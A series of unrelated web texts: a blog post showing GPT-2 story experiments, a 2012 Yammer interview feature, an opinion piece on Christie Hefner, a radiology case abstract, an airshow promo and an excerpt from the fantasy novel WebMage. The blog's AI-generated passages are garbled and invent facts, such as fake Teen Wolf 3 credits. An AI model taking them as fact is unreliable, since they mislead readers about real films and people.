The Shrehkt unfurled its parchment, smiling as it bounced and rolled across the floor. Yesss, ssso many more targetsss. Ssso many thingsss to crosss off itsss lissst. The next creatures on its list were…
(The A.I. continued)
Trolls”, a species of troll that had been long thought extinct, until the Shrehkt, a troll with no body, was caught. estampit
Said troll was half-orc, though it could easily have just been a troll with a body. estampit
Said troll, as it dragged its half-orc body down a hallway. estampit
Said troll, with its body in the air. estampit
Said troll, in its half-orc body… estampit
Said troll! It had done it! estampit
Said troll! Yessss! estampit
Said troll! Yessss… estampit
Well, not quite what I was hoping for. I’m not in love with the picture, but the title has a flair that I would not have come up with on my own.
Perhaps I should do as Elon Musk suggests, and partner with the AI to combine our powers. Here are some stories I seeded, generated, and then reapplied my human sensibilities to.
The old days were the days before the rise of the sun
and they were like a perfect world
Photo by Aniket Bhattacharya on Unsplash
“More jokes!” roared the Ogre. He swayed in the doorway of the dimly lit tavern, bellowing, drinking, yet never quite falling down drunk. The huddled villagers did their best to ply him with grog and humor. These were the jokes they told.
“It was like the old times,” said one.
“If you had been here,” the Ogre grunted, and the bar stool he was sitting on fell slowly to the floor. The Ogre took two gulps of his beer before he looked at the old bearded woman with the yellow fur. She was holding a pint of wine in one hand and a handful of bread in the other. The Ogre took a glass of beer before taking another sip of wine.
“I remember the old times,” said the old lady. “You must have been young then, and you had those times with us.”
“Yes,” said the Ogre. “There was great fun in those days. It was like living in a fairy tale… a perfect world, in some ways.”
“It was like having a full day, every day, to run around the world,” she continued. “We heard of the old gods who loved us all.”
The Ogre laughed. “I know that sounds ridiculous, but it had a certain magic about it. We lived up in the mountains. At the height of summer, when the sun started to rise, we would gather at the mountain’s peak, drink and chase away the night,” he continued.
The woman smiled. “I remember how it felt.”
Not too bad. I was hoping to generate a bunch of weird jokes, but instead it generated a melancholy vignette.
This was an attempt at a Fantasy/Thriller. Somehow it got converted into a computer age story about the video game The Last of Us. It is dialogue heavy and sentimental, unlike what I typically write, so I wasn’t able to do much with it. I cleaned it up enough to make it readable.
A lot of people think that the Last of Us
is a story about the end of the world
Photo by Timon Studler on Unsplash
Maris pressed her sweaty forehead against the cold marble wall and gasped. If she could just stop running, if she could get a moment of sleep, perhaps she could wrap her mind around the artifact in her satchel. She had risked everything to steal it. Would it be worth it?
She touched the crystal catalyst and drifted into dreams of power and possibility.
-The Last of Us Chapter 3-
“It isn’t an artifact,” Ellie said, not wanting to mention the word again. She swallowed hard as she spoke, not wanting anything too intimate to come out. “No,” she repeated again without looking up from the computer screen to stare at the woman. “It is the culmination of my years of experience and… my research.”
The woman gave a low whistle. “I see,” she frowned. “Yes,” and gave Ellie another too-low whistle. When the whistle faded, Ellie was sure that the woman had been thinking about her. “You are going to be a big deal and I know it. We are going to become heroes.”
She grinned in a way that told Ellie she was having a bad day. Ellie couldn’t tell what that was supposed to mean, but it felt good.
“But you want to give up your life as a hunter?” She was being so damn honest.
“For now. Maybe, once I do the rest of the research on the artifact,” Her face turned serious. “But I could… maybe… leave something behind for my daughter.”
Ellie tapped on the laptop with all her might.
“And what do you know about those ancient ruins on the island?” the woman asked.
“I… that kind of ruins are… too… dark for us,” Ellie said, closing the laptop. “Especially the dark places.”
The dark ruins are intriguing. I wonder what that story would have been about?
My attempt at a sci-fi story got sideswiped by a random mention of an unknown type of fetish pornography. You’ll know it when you see it (as the old saying goes), but the AI doesn’t linger on it, so you won’t have to either.
Hey, you know what’s pretty cute?
Photo by The Honest Company on Unsplash
‘Bugborgs aren’t just for kids anymore’, the advertisement shouted. ‘Why not put a Bugborg under the tree for the students and professionals in your family this Christmas? Grandma needs company too!”
Ugh, I have enough of the little monsters crawling around the class room. Now I’m supposed to let them infest my home?
The words were spoken more than 50 years ago, but many of us still remember them. It may have been one of only a handful of ads of its kind. It wasn’t until more recent times that more awareness was drawn to the fact that these advertisements for a new type of creature—the Bugborg, often erroneously referred to as an eggbug—were all too common. Now, thanks to Google and the rise of “cub porn”—online porn featuring humanoid creatures—we are no longer so shocked when these kinds of ads hit the web.
They look like bug-shaped eggs, complete with tiny, translucent, insect like legs and antennae.
They have the distinct advantage that their bodies can expand from one size to another. And if you look closely, all of them look identical.
It’s all a bit unsettling, when you think about it. It looks like something out of an 80s science fiction movie, or maybe a child’s sketchbook. The Bugborg can walk, climb, crawl by themselves, and even crawl on the wall with their own body parts.
When they hatch, a female begins to grow around her own egg. She has only about 5 legs. If a female is not lucky enough to hatch before her mate does, she dies. When she’s fully grown, her large body begins to turn into her giant form. In the breeding season, this giant form will be completely different from the insect-like forms. She may be able to fly.
They aren’t just for kids anymore.
That one got a little freaky.
My final experiment hoped to leverage the godlike power of Artificial Intelligence to create a third sequel to the Teen Wolf movies.
“Wolfman” is a wolf who has been raised by wolves
Photo by Tom Pottiger on Unsplash
Teen Wolf 3 was not based on the MTV show, nor was it the rumored Alyssa Milano hockey vehicle. Teen Wolf 3 was the long awaited conclusion to the trilogy that would launch the Wolfiverse franchise. The original Teen Wolf featured Michael J. Fox as a down on his luck high school basketball player who had to learn how to control the power of becoming a werewolf. The sequel, Teen Wolf Too, starred Jason Bateman as a collegiate boxer.
“Teen Wolf Three is about the end of the series, and The Wolf Within is not the finale – it’s the start of the story!” say Director Tim Kring and writers Scott Gimple and Michael J. Fox.
Bernard Munch is wearing a wolf on his sleeve.
In the first season, the Wolves have new sidekicks, the Wolfbrothers. The Wolfbrothers are wolves who have been “born” into werewolf society and raised by wolves.
Bernard appears in the opening credits of Teen Wolf as a werewolf, and later appears in the end credits, also as a werewolf.
Bernard’s werewolf sidekick was shot to death to keep the wolf in line.
Bernard Munch’s character was then killed off. Bernard’s character’s story didn’t go anywhere.
Tim Kring’s character was resurrected as a werewolf after saving Wolf’s life. Tim Kring’s character’s story didn’t go anywhere. Tim Kring’s character turned into a werewolf, and he had the final words in the entire Wolfverse, “This isn’t over.”
Hot damn! That sounds amazing.
Domo arigato, Mr. Roboto
Tagged as AI, Artificial Intelligence, Deep Learning, Elon Musk, fantasy, future, GPT-2, Machine Learning Algorithm, mad science, Michael J. Fox, Neural Link, Neural Network, On Writing, OpenAI, Robot, Sci-Fi, Science, science fiction, StoryAI, Technology, Teen Wolf, writing
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The social revolution
Megabuyte, July 2012. Original article here (£).
Letter from the West Coast
“Yammer is going to be huge,” I remember thinking as I walked down the street after meeting with co-founder Adam Pisoni in San Francisco, feeling buzzed up and inspired about how technology is changing the way we live and work. Yammer may be an enterprise social network group, but what CTO Pisoni and CEO David Sacks are trying to do is to change the way companies collaborate and innovate.
It was only a few weeks later it became clear that the mighty Microsoft had reached a similar conclusion, putting down $1.2bn to secure Yammer. Microsoft CEO Steve Ballmer pledged to let Yammer continue to develop standalone services and “maintain its commitment to simplicity, innovation and cross-platform experiences”, before talk turned to “complementary offerings” and integration with Microsoft Office. We can only hope this coupling works out for Yammer, which is only four years old and could potentially benefit from a hand in dealing with its supersonic growth. And as Microsoft’s move into social follows Salesforce’s buying of Buddy Media, and Oracle’s buying of Virtue and Collective Intellect, let there be no doubt: social business tools will be part of our future, and it will happen soon.
The cross-platform hub
The day I met with Adam Pisoni, however, there was not so much as a whisper around to reveal what was in the works. If Pisoni knew, he certainly gave nothing away. Yammer has been doing pretty well on its own though: over 5m corporate users on a freemium model, including employees at 85% of the Fortune 500, of which 20% are paying customers. This percentage is double that of the industry average, as estimated by Constellation Research. Yammer’s revenues have not been disclosed, but speculation puts it between $22-30m. So how did Yammer manage to get so far so quickly?
“The market is so large and growing so fast. We are partially a catalyst for the growth of this market, but it is growing despite us,” says Pisoni, pointing out that more than half of Yammer’s traffic is now in Europe even though the company is not really present there yet. A big push is now underway in London, which Pisoni expects to be huge this year. But still, Yammer must have something going for itself; it is not like customers are lacking in options, especially with Salesforce’s Chatter benefiting from the name-recognition factor. On this note, Pisoni argues that Chatter is a good activity stream sitting on top of Salesforce’s other functions, but it is not really an enterprise social network because it does not let people collaborate in the same way as Yammer does: “Chatter is not meant to be your aggregated activity stream across all your applications. … Our goal is to be the enterprise social network, to be the hub of where people come to get work done, communicate and collaborate.”
Innovation at the edges
As 13-year-old Salesforce is getting on a bit in technology years, this brings about the questions about innovation and cannibalisation of the old models. This, however, is where Yammer starts to look different, as part of its business model is to avoid exactly this pattern: “What is becoming more important is how quickly you can innovate, not how quickly you can preserve value. Companies are not going to be defined as much by a product or service, you are going to be defined by your velocity and your ability to adapt.”
Most technology companies will say this, but for Yammer this shift is not only their philosophy: it is also their business plan. While Yammer is still small, Pisoni explains how customers are changing from an attitude of centralised innovation, where ideas are generated at the top and spread outward, to a system of innovation at the edges: “As older companies think about how to become more innovative they are doing it in an old way: ‘We need to figure out the next innovation.’ But there is no next innovation! It is about constant innovation, and organising around letting everyone innovate.”
Yammer’s software is designed to enable this new culture of creation to unfold on a practical level. The key elements to empower employees and decentralise execution, says Pisoni, as well as to operate on a transparent model where everyone can see what others are doing and build on it. This lets people connect and organise themselves in the optimal way, pushing past the boundaries of communication and job descriptions. “Yammer is all about self-organisation and empowerment but also transparency and trust, and you need both of those things to be successful,” says Pisoni. Better informed employees make better decisions, and in turn make the company more adaptable and innovative.
Creating the roadmap
As a former office worker, this sounds downright wonderful. But, I put to Pisoni, middle management is going to hate this. This is such a significant shift in thinking that it that may even require a generation shift to come to fruition.
“People ask us, who is your target customer? But is not a geography, it is not an industry, it is not a size. It is companies that recognise that they have to make this shift. [Our demographics are] an even slice across industry, geography, and size, but the consistency is that they are using Yammer to transform into a new kind of company.” While some people get it right away, Pisoni acknowledges that the novel nature of Yammer’s offerings mean lots of conversations with customers to help them see how they can take these ideas and use them in a practical way in their companies. “There are not really any good roadmaps. Plus to become a transparent company is difficult and there is friction involved,” says Pisoni. Explaining how this can be done, and why it is beneficial, is a big part of Yammer’s challenge.
‘Facebook for business’ tends to be the shortest way to explain what it is Yammer does, and it has played a significant part in helping people understand the basics of Yammer’s operations. But considering Pisoni’s face when I bring this up, these reference points are starting to feel limiting.
“The comparison was somewhat useful in the beginning, but yes, now we find a little bit annoying.” Pisoni laughs. “Really early on, we started Yammer because we recognised where this new form of [self-organising meta-to-meta] communication was going. It was revolutionising how we communicate in our personal lives [through social media], and this was likely to go to enterprise,” says Pisoni, emphasising that Yammer was the first to come out and state their intention to become a social enterprise. The manifestation of this, however, looks very different from Facebook. In the business context, the focus is on people self-organising into groups, getting work done as teams, and integrating with applications and business processes.
Yammer’s interface also distinguishes between content generated by people and applications, a factor which Pisoni highlights as an advantage over Chatter and Tibbr: “You do not want the human generated content be pushed down [the information stream] by a mass volume of computer generated content such as printers out of ink. Over time we will let people interact with [computer-generated] stories: they can comment on them, or ‘like’ them, and that will move them over into the human-generated content feed as it has been signalled that people care about it.” What Yammer is doing now is developing its cross-application workflow systems, meaning data will flow together whether it is from SharePoint, Salesforce, NetSuite or elsewhere. As data volumes grow, the human interaction with the content will be crucial to determine its importance, hence helping the system keep noise at a manageable level for the individual users.
Business evolution is no longer a seminar that is held once a year: it is becoming a way of life. Pisoni is proud that Yammer practices what it preaches: a decentralised organisation where innovation happens at the edges. Staff who feel empowered make for better workers, and the role of management is shifted from telling everyone what to do, to organising people so they can interact and create in an efficient manner.
This approach is different from what came before and can feel a bit fuzzy and difficult to quantify, but this is what happens in a social space. What Facebook, Twitter, Tumblr and all the other social networks have done is to take something people do naturally offline and move it online, and the likes of Yammer are picking up the elements that can improve business relationships. A new entrant on on the social technology scene is Pinterest, which was founded three years ago in Palo Alto by Ben Silberman and Evan Sharp. Now with over 10m users, Pinterest lets users create ‘pinboards’ of images and share them, like themed scrapbooks: “The things you collect says so much about who you are and what you are interest in. That is what I wanted to capture with Pinterest,” said CEO Ben Silberman at March’s SXSW gathering in Texas. “I cannot say the idea came from hard-nosed business analysis. It was just something I really wanted to see built,” said Silberman, who admits the company is still experimenting with revenue models. So far affiliate links seems to be the main method.
Pinterest’s product-before-money attitude is mirrored by Facebook’s Mark Zuckerberg, who declared in his IPO letter an intent to make money to create better services and not the other way around. There are two reasons this is not as crazy as it may seem, starting with the fact that social tools are based on people choosing to spend significant amounts of time on these sites; in order for this to happen, people need to feel they are having a genuine experience with other people, with the selling kept in the background. Then there is the fact that our expectations have never been higher: “People can use Facebook which is the pinnacle of social design. They can use Apple which is the height of interactive design. They can use Google products which are beacons of efficiency,” said Silberman. “If you do not give people something that is worth their time, they should not give you their time.”
The differentiation is often a sleek interface and beautiful design, as efficiency is no longer enough and we need a little something extra to be charmed. Pisoni talks about the joy of creating a product that makes people’s workday better; Silberman kept saying how satisfying it is to create a beautiful site where people can share things that make them happy; Zuckerberg wants to change the world, plain and simple. The new social layer means technology is no longer just about creating something that works and making some cash, but to make things better, more beautiful, more meaningful. Now that the human element has been mixed into technology there is no turning back.
Posted on 07/06/2012 by Jess. This entry was posted in Business features, Technology features. Bookmark the permalink.
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How to be a freelancer and still go travelling →
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Christie Hefner: "Liberal Feminist," Capitalist Porn-Monger, Or Both?
Filed to:Play-girl
A Times profile paints Christie Hefner, who recently retired as CEO of Playboy Enterprises, as a feminist and liberal leader. But given how she and dad Hugh made their money, is this possible?
According to Michael Winerip of the Times, Hefner fille is a mover and shaker among Illinois Democrats, having donated $201,000 to Democratic causes over the years. She apparently got Barack Obama to speak at the 2005 Magazine Publishers of America conference, and Gloria Steinem invited her to be on the board of Voters for Choice. Victor Navasky, the former Nation editor who recently tried to recruit Hefner as the publisher of the Columbia Journalism Review, says,
She's certainly a liberal feminist and a liberal Democrat. People would say, ‘so what's she doing putting out a magazine and running clubs catering to horny men?' But she found a way to make it work consistent with her values, to serve Playboy and her father and give them an opportunity to do socially useful things.
But it's hard not to see Christie Hefner's position at the head of her dad's sex empire as a little creepy. While he dated women half her age (she's 52), she rebuilt his business. It was in shambles when she asked to take over in 1982, and, she reports, "Hef said, ‘I felt like I had this incredible birthday party and you had to come in and clean up the day after.'" Cleaning up after your dad's birthday party — especially a dad whom you call "Hef" — doesn't seem like the most empowering career.
Then there's the issue of hard-core porn. Winerip writes, "while Hef bragged about not crossing the line into hard porn, she did, buying Spice TV and Club Jenna and defending the move as business." Ann Bartow of Feminist Law Professors questions whether Spice TV is really "consistent with Christie Hefner's values," and if so, how feminist those values can really be. The answer to this depends on what you think about porn, but it is worth noting that Playboy Enterprises represents a very corporate end of the porn spectrum. Annie Sprinkle they are not.
But Hefner's "values" may be a whole lot simpler than the can-porn-be-feminist debate implies. The words "networking" and "networker" appear over and over in Winerip's article, and it's clear that Hefner has been very successful in making powerful friends. Her job tidying up after her pajama-clad, twin-banging dad may not be particularly enviable, but she's leveraged it to create a high-profile political and entrepreneurial platform. She's appeared on CNN, Fox, and CNBC, she'll be working with Navasky to create a for-profit arm of the Columbia Journalism Review, and she's collaborating with Canyon Ranch on a line of health products. Whether or not she's a feminist, she's certainly doing well for herself.
Winerip's emphasis on this success makes his profile kind of depressing. Bartow goes a little far when she calls it "sycophantic," but it's certainly not critical, and Winerip takes claims of Hefner's feminism at pretty much face value. It's popular lately to claim that any woman who is very successful is somehow a feminist icon (The Onion skewered a similar sentiment in the classic "Women Now Empowered By Everything A Woman Does"). But doing well as a woman doesn't necessarily mean you're doing good for women. Hefner may support liberal causes in her personal life, but where her business is concerned, it seems like her most important "values" are monetary ones.
No Silk Jammies For Her [NYT]
The NYT Adulates Christie Hefner, Delicately Refrains From Substantively Mentioning The Hardcore Porn That Generates Most Of Playboy's Revenues [Feminist Law Professors]
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Migration of innumerable chronically retained acupuncture needles
Frances Lazarow, R. Hampton Andrews, Jonathan Revels, Sarah Shaves
We present a case of a 50-year-old female with a 2-day history of back and abdominal pain who was discovered to have innumerable chronically retained acupuncture needles, which had migrated throughout her abdomen and pelvis. Although many of these needles were in precarious positions, including the epidural space, renal parenchyma, small bowel, and vasculature, there was no evidence for acute injury. We also briefly discuss evidence for the magnetic resonance imaging compatibility of acupuncture needles. Although a rare complication, given the high frequency of acupuncture therapy in the United States, physicians must be aware of the potential for retained and migrated needles.
Radiology Case Reports
https://doi.org/10.1016/j.radcr.2017.04.008
Epidural Space
Retained needle
Lazarow, F., Andrews, R. H., Revels, J., & Shaves, S. (2017). Migration of innumerable chronically retained acupuncture needles. Radiology Case Reports, 12(3), 546-548. https://doi.org/10.1016/j.radcr.2017.04.008
Migration of innumerable chronically retained acupuncture needles. / Lazarow, Frances; Andrews, R. Hampton; Revels, Jonathan; Shaves, Sarah.
In: Radiology Case Reports, Vol. 12, No. 3, 01.09.2017, p. 546-548.
Lazarow, F, Andrews, RH, Revels, J & Shaves, S 2017, 'Migration of innumerable chronically retained acupuncture needles', Radiology Case Reports, vol. 12, no. 3, pp. 546-548. https://doi.org/10.1016/j.radcr.2017.04.008
Lazarow F, Andrews RH, Revels J, Shaves S. Migration of innumerable chronically retained acupuncture needles. Radiology Case Reports. 2017 Sep 1;12(3):546-548. https://doi.org/10.1016/j.radcr.2017.04.008
Lazarow, Frances ; Andrews, R. Hampton ; Revels, Jonathan ; Shaves, Sarah. / Migration of innumerable chronically retained acupuncture needles. In: Radiology Case Reports. 2017 ; Vol. 12, No. 3. pp. 546-548.
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title = "Migration of innumerable chronically retained acupuncture needles",
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Nakajima Kate History
Airshow Schedule
A STORY OF HEROISM AND SACRIFICE
The Battle of Midway is a live reenactment that tells the story of how American grit and determination defeated the Japanese Empire in WW2
See Upcoming Shows
Written by Alan Armstrong, The Battle of Midway tells the story of heroism and sacrifice at a moment when the Japanese Empire was poised to complete its domination in the Pacific and threaten the Hawaii Islands with invasion. American grit and determination resulted in a numerically superior adversary being defeated. In 30 minutes, the balance of power in the Pacific shifted from Japan to America as three Japanese aircraft carriers were set ablaze by American pilots flying the venerated Dauntless dive bomber.
The cast of aircraft involved in the performance includes a replica Zero flown by Capt. Jack Van Ness, the Kate operated by Japanese Bomber, LLC and flown by Alan Armstrong and a B-25 Mitchell bomber flown by Tom Reilly and Stan Bloyer. The cast is rounded out with other aircraft such as two SNJ Texans flown by Captains Jim Buckley and Joe Fagundes. Depending on the location of the performance, there may be other or additional aircraft appearing in the show. The Battle of Midway intends to raise the bar for air battle reenactments at air shows with dramatic music, narration and sound effects. It is, in effect, theater with airplanes.
Alan Armstrong posing with the Nakajima B52 “Kate”.
SEE THE BATTLE OF MIDWAY IN ACTION
Please consult our Air Show Schedule to find a future showing of the Battle of Midway air battle reenactment near you!
Alan Armstrong's Flying Tigers Film Proposal
Japanese Bomber, LLC, Attn: Alan Armstrong,
2900 Chamblee-Tucker Road, Building 5,
contact@japanesebomber.com
@2018 Japanese Bomber LLC. | Designed by Tonalli Media
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Kelly McCullough
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WebMage: A fantasy-cyberpunk hybrid that revolves around Ravirn, a grandson of the Greek Fate Lachesis. In order to keep up with an ever increasing number of life threads, the Fates have upgraded to a computerized system that blends magic with programming. Of course where there are computers, there are also hackers. In the process of “testing” his Great-Aunt Atropos’s security, Ravirn, a hacker/sorcerer, and his laptop familiar, Melchior, uncover a plot that could shake the foundations of Olympus and change humanity’s relationship with Fate forever.
WebMage received excellent reviews from such diverse sources as Publishers Weekly, where it was starred, SFRevu.com, Fresh Fiction, Alternative Worlds, Romantic Times, and prominent author, Mel Odom.
Buy at Amazon, Barnes and Noble, iBooks, Kindle, Nook
Book #1 of the WebMage Story, an Excerpt
#Chapter 1#
“Nothing here,” said Melchior, his voice echoing from the depths of an ancient citrus-wood chest.
“Keep looking,” I called back to my familiar, yanking another drawer from my many times great-aunt’s desk. “It’s small. It could be anywhere.”
The spell was very tightly written, and elegantly coded. Embedded in the crystalline matrix of a memory jewel, it was beautiful. Even incomplete, it was the scariest thing I’d ever seen. Worse, it didn’t seem to be anywhere in Atropos’ suite. I shouldn’t have been surprised. My-great-to-nth-degree-aunt is a consummate weaver of intrigue. I dropped the drawer. Where should I look now? As if in answer to my question, a hound bayed in the distance, the unmistakable belling of a hunter on a fresh trail. I didn’t have much time.
“Melchior, Mtp://mweb.DecLocus.prime.minus3051/umn.edu~Melchior, comstockhall301,” I said. It was my current home site on the mweb. “Execute.”
“I hear and obey, Ravirn,” replied Melchior.
The webgoblin hurried to an open space on the floor and scratched a hexagram into the wood before spitting out a netspider. The tiny magical creature scuttled to the diagram where it set an anchor line and vanished. A few seconds later it returned and Melchior grabbed it and returned it to his mouth.
“Mm mm. Delicious and nutritious, tastes just like chicken.”
“Can the editorials, Mel,” I called, sliding out from under the bed. I’d sliced open the liner and dug around in the springs. The smell of dust filled my sinuses. “We’re in a hurry and I know they taste terrible. That’s one of the reasons I built you in the first place. I just want to know if my dorm room is clear.”
The webgoblin stuck his spider-occupied tongue out at me. I snapped my fingers in exasperation, calling a wisp-light into being and sent it to dance a few inches in front of Melchior’s eyes. He hopped back and growled a little. When the wisp showed no signs of departing, he sighed and swallowed the spider.
I dispelled the wisp. There was no sense in aggravating him, or drawing more attention than I already had. Although, on looking around at the wreck we’d made of my great-aunt’s bedroom, I had to wonder if I could draw more attention. If she ever found out who’d done this I was a dead man. Still, I found myself delaying our departure. The backtrail I’d left should keep the dogs off for a little while longer. If only I could find the damned spell. I searched the room one last time with my eyes.
“Processing,” said the goblin, his voice mechanical. Then, after a few seconds, “Reporting. Your room in Comstock at the U of M in the prime-minus-3051 Decision Locus is vacant.”
“Thanks, Mel,” I said. “That wasn’t so bad, was it?”
“Ick, ack, ptooie,” coughed Melchior, his voice returning to its normal whiny growl. He rubbed his tongue as if trying to clean off the remnants of the webspider. “When Lachesis wrote the code for those things, why did she make them so bitter?”
“I’m tempted to say it’s just another manifestation of my greatest grandmother’s sparkling temperament. But that’s not actually the case. Uncle Valarian asked her once while I was around. She said it’s to remind us that the spiders are serious and potentially dangerous magical constructs, not toys.”
“Hmph. Why don’t you fix them?”
“There are several reasons.” I ticked them off on my fingers. “First, I’m not the one who has to eat them. Second, their programming is much more involved and nasty than it’s worth. Third, they’re virtually bug free, if you’ll pardon the pun. Fourth, and finally, it would seriously irritate Lachesis, and that stupid I’m not.”
Lachesis, the Fate who measures the thread is not a Goddess to be trifled with. For convenience’s sake I usually refer to her as my grandmother rather than adding in all of the necessary greats and she is more fond of me than of some of my relatives. But bonds of affection and blood are only a limited shield from her anger.
“Now,” I continued, “before you come up with any more distracting questions, I have orders. Melchior, establish a Locus Transfer Protocol link with the Comstock hub. As soon as that’s done, initiate transfer. We’ve got to get out of here.”
The little goblin glared at me, but went to work. He pulled a piece of chalk and a bit of string out of his belly pouch. Using the string to measure, he drew a large hexagram on the floor spat another netspider into the center. It blinked out the second it landed, leaving behind a glowing blob of gold silk.
“Connecting to prime.minus3051,” intoned the goblin.
A few moments later the light changed from gold to green. “Connect,” said Melchior. “Initiating Gate.”
He dropped to his knees and grabbed the node. As he pulled on it, the glow spread outward, filling the whole hexagram. Once the diagram was completely green, the light rose to form a hexagonal column about six feet high and two across.
“Gate established. There you go, boss. We can leave whenever you’re ready.”
“Thanks, Mel. That was nicely done.” A loud crashing sounded somewhere close by. That would be the cousins coming to see who had invaded their demesne. And, as much as I might have enjoyed staying and chatting with my dear, dear relatives, Atropos’ brood was notorious for killing first and trading pleasantries later.
“Perfect timing,” I said to Melchior. “Shall we be going?”
“Hades, yes!” said Melchior, hopping from one clawed foot to the other in obvious agitation. “Atropos scares me even more than your many times great grandmother.” The doorknob turned as someone tried to open it.
“We need to go now!” He tugged the corner of my cloak. I twitched it out of his hand.
“Too right, Mel.” I really didn’t want to be there when they got through, but damnit, I needed to find that spell.
It wasn’t going to happen. Defeated, I stepped into the column of light. The door shuddered and groaned as something thudded into it. A half-second later, the sound was repeated. Long cracks appeared in the thick, wooden timbers. I pulled my cloak up to mask my features.
“Melchior, Locus Transfer,” I said. “Execute.”
Phrased like that, with his full name at the beginning and the execute order at the end, it was a command he had to obey. Melchior, joining me on the hexagram, hissed out a string of spaghetti logic. The light began to shift from green to blue. A third impact buckled the door completely. I drew my rapier. An instant later, a broad bladed hunting spear hurtled though a gap at the top of the ruined door, coming straight for me. I thought we would be gone before it got to me, but it never hurts to be careful. I brought my sword up in a parry. As the light finished its transition the room wavered around us and vanished.
There was a shower of sparks as the iron spearpoint grated along the edge of the rapier. The contact deflected the missile past my left shoulder. It buried itself solidly in my roommate’s Toby Keith poster. It also left my hand stinging and numb by turns.
“That,” I said to Melchior, “was entirely too close.” I dropped the sword and hooked the chain on my door.
“Has anyone ever told you that you have a gift for stating the obvious?” asked my goblin. He was livid, literally. His face and neck, normally a royal blue, had faded almost to periwinkle. “Were you trying to get us killed, or are you just stupid?”
That was too much. “Melchior, enough! When I wrote you, I included a certain amount of self-determination and sarcasm. But I won’t tolerate insolence or insubordination. Go to your desk.”
“Your least whim is my veriest desire, o’ prince.” The webgoblin leaped onto my small desk, where he assumed a cross-legged position and glared at me.
“Melchior, Laptop,” I said, tired of his whining. “Execute.”
“No sooner commanded than performed.”
The goblin’s flesh began to flow and twist like soft wax. Five minutes later the transformation was complete. What had once been a nasty tempered little manling was now a shiny WebRunner 2,200cs PPCP cell laptop. A small blue logo bearing a suspicious resemblance to Melchior was positioned below the screen on the left.
While the goblin altered his appearance to better fit in with his surroundings, so did I. The black cloak and the rapier went into a trunk at the foot of the bed. The tights, likewise black, and the emerald tunic were stuffed into a laundry bag. The high leather boots were retained to go over a pair of black jeans. I topped that off with a green “Nobody Wins” T-shirt and a TechSec leather jacket before checking myself in the mirror to see whether I’d forgotten anything.
Boy, had I ever. “Shit,” I mumbled. The face that stared back at me was not one I could wear around here. I invoked the spell that rounded my slightly pointed ears and reshaped the vertical slits in my green eyes to more human circles. My long, black hair, fine bone structure and dead white skin I left intact. On a campus with as large a Goth population as the U of M, they were normal enough to make concealing them a waste of magical resources, a cardinal sin in House Lachesis. That done, the transformation was complete. Prince Ravirn of the house of Lachesis, sixty-seventh in line for the throne, was gone. In his place was Ravi Latcher, a junior in Classics and Computer Science with mid-terms coming up.
Atropos and her spell would have to wait. I’d given Lachesis my solemn word that I wouldn’t miss another mid-term. And breaking a promise to Fate is an excellent way to end up as the subject of a Greek tragedy, even if you are a member of the family. I assuaged my conscience with the thought that Atropos hadn’t been able to make the spell work yet. Otherwise she would never have come to me. I’d have another go at finding it after my first test. Not enough to make me feel better, but the best I could do for now.
Swearing under my breath, I turned and started stuffing books into my shoulder bag. That’s when I remembered the spear. Ran into it is more like the truth, but that’s neither here nor there.
Damn! If Rod found that thing there I’d never hear the end of it. Pulling the weapon loose, I tossed it under the bed. That left a rip in the poster and a hole in the wall. It seemed an awfully trivial concern right then, but anyone who’s ever had a touchy roommate would understand. Sighing, I flipped the cover of the laptop up and hit the space bar.
Run Melchior. Execute.
I hear and obey!
The laptop shifted back to its webgoblin form. “What now? I didn’t even have all my bootables in the right places. You know I hate that.”
He can get in a real snit when that happens, and I didn’t feel like picking a fight with my laptop three days before term papers were due. He can crash at the most inconvenient times when he was angry.
“I know, I know. I’m really sorry. You’ve been doing good work lately, and I haven’t been praising you enough. But I was supposed to meet my study group in Walter Library ten minutes ago. I want you to fix Rod’s poster and then catch up to me there.”
“I don’t see why you can’t just do it yourself.”
“Because I don’t have time to code a real spell, and if I just paste an illusion over it, I’ll forget about it. Then the illusion will wear off at the most inconvenient possible time, and I’ll end up having a huge argument with Rod.”
“True. Pathetic, but true.” I let that slide and he continued. “Get moving, I’ll be along in fifteen minutes or so.”
“Great.” I opened the door then looked over my shoulder. “Oh, and Melchior.”
“I don’t want you terrorizing the sorority girls on your way over.”
“No, Mel. Stay away from the football team too, OK?”
“Yeah, sure. If I have to leave the Greeks alone, I might as well not have any fun.”
“Thanks, Mel. You’re a prince.”
“No, you’re the prince. I’m just a lowly goblin flunky, doomed to a life of menial labor.” Melchior wrenched a razor sharp tooth from his mouth and spat a netspider into his hand. He squeezed it until silk came out and then threaded that onto the tooth. “No one appreciates my simple graces.”
“Good-bye, Mel.”
As Melchior began to sew up the rip in the poster, I ducked out and closed the door. Then I took the back stairs three at a time. When I hit the campus mall, I sprinted. The mall was lined with vaguely classical buildings. My family’s early Greek worshipers would have recognized the style, though they’d have wondered why everything was oversized and rendered in stark gray granite or boring beige sandstone. It was October, one of the good ones, and the air was crisp but not icy. In the clear fall air the full moon seemed close enough to touch, and the smells of dry leaves and dying grass were enough to paint a grin on my lips. There was nothing like fall in Minnesota. Even with the threat of Atropos’ spell hanging over everything.
Melchior caught me as I was dashing up the library steps. Somehow, he’d gotten there ahead of me.
“Boss!” he whispered loudly from behind a pillar. “Hey, Boss.”
I turned, startled. He’d gotten there too fast. “How’d you manage to fix the poster so quickly?” I looked around to make sure that none of the local human population was close enough to see me talking to a mythical creature. Together we slid into the deep shadows at the edge of the building.
“I didn’t fix the poster,” said Melchior. He raised a closed hand to forestall my complaint. “We have much bigger problems than an annoyed roommate. This came through into the room after you left.”
He opened the hand. In it was a small, broken thing, a netspider. I took it and popped it into my mouth. The flavor was even worse than the ones my grandmother had coded. It was also familiar.
“Atropos,” I whispered. I was stunned. I’d been very careful not to leave any identifying marks, and I didn’t think anything could have backtracked me. “This came from my cousins, or worse, my great-aunt. Are you jamming?”
“As much as possible, but they’re using some pretty heavy code-breaking algorithms. Their webhounds will have us locked down within ten minutes.”
“I guess I’m going to have to take a pass on my study night,” I said. “Melchior, Bugout. Execute.”
“Executing,” said the goblin. “Waiting for connection.” There was a long pause. “Lachesis.web system connect denied.”
“Melchior is unable to create an Mweb socket connection,” he said. “The system may be down or there may be insufficient system resources at this time. Try again later.”
We were being counter-jammed. That was very bad. It meant they had me at least partially localized. It also meant Atropos was directly involved. It would take her authority to seal access to a whole node or band of nodes. If she knew it was me…
“Right. Melchior, Sidedoor. Execute.” The goblin’s eyes glazed over and a low hum emerged from his mouth. After a moment he spoke again. “Unable to open carrier wave connection. Access denied.” In a more normal voice he continued. “Sorry, Boss. It doesn’t look good. I can’t get in anywhere, and we only have about five more minutes.”
